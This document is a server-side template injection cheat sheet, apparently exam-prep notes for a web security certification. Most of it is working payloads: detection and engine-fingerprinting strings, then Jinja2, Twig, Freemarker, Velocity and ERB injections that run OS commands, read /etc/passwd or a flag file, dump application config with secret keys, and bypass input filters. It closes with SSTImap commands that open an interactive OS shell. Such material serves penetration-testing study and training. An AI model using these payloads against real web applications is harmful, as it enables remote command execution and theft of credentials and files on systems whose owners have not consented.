Web

SSTI

Server-Side Template Injection from the CWES path: detection, engine identification, and RCE for Jinja2, Twig, Freemarker, Velocity and ERB, plus SSTImap. Every payload separated.

Detection

Universal detection string (errors in most engines):

${{<%[%'"}}%\.

Math test (Jinja2 / Twig / Freemarker):

{{7*7}}

Dollar syntax (Freemarker / Velocity / Mako):

${7*7}

ERB (Ruby):

<%= 7*7 %>

Engine identification

{{7*7}}    → 49 in Jinja2 AND Twig
{{7*'7'}}  → 7777777 in Jinja2  |  49 in Twig
${7*7}     → 49 in Freemarker, Velocity, Mako
<%= 7*7 %> → 49 in ERB (Ruby)

Jinja2 (Python)

Dump config (may expose secret keys):

{{ config.items() }}

OS command via os.popen:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Read a file:

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

Filter bypass (underscore/dot blocked) via request object:

{{ request['__class__']['__mro__'][1]['__subclasses__']() }}

Twig (PHP)

Confirm Twig:

{{ _self }}

Command via filter:

{{ ['id'] | filter('system') }}

Read a file:

{{ "/etc/passwd"|file_excerpt(1,-1) }}

Space-filter bypass (hex escape):

{{["cat\x20/flag.txt"]|filter('system')}}

Freemarker (Java)

RCE via Execute:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Velocity (Java)

#set($rt = $class.forName("java.lang.Runtime"))
#set($proc = $rt.getMethod("exec", $class.forName("java.lang.String")).invoke($rt.getRuntime(), "id"))

ERB (Ruby)

Command via backtick:

<%= `id` %>

SSTImap (automated)

Detect and ID the engine:

python3 main.py -u "http://IP/index.php?name=test"

Interactive OS shell:

python3 main.py -u "http://IP/index.php?name=test" --os-shell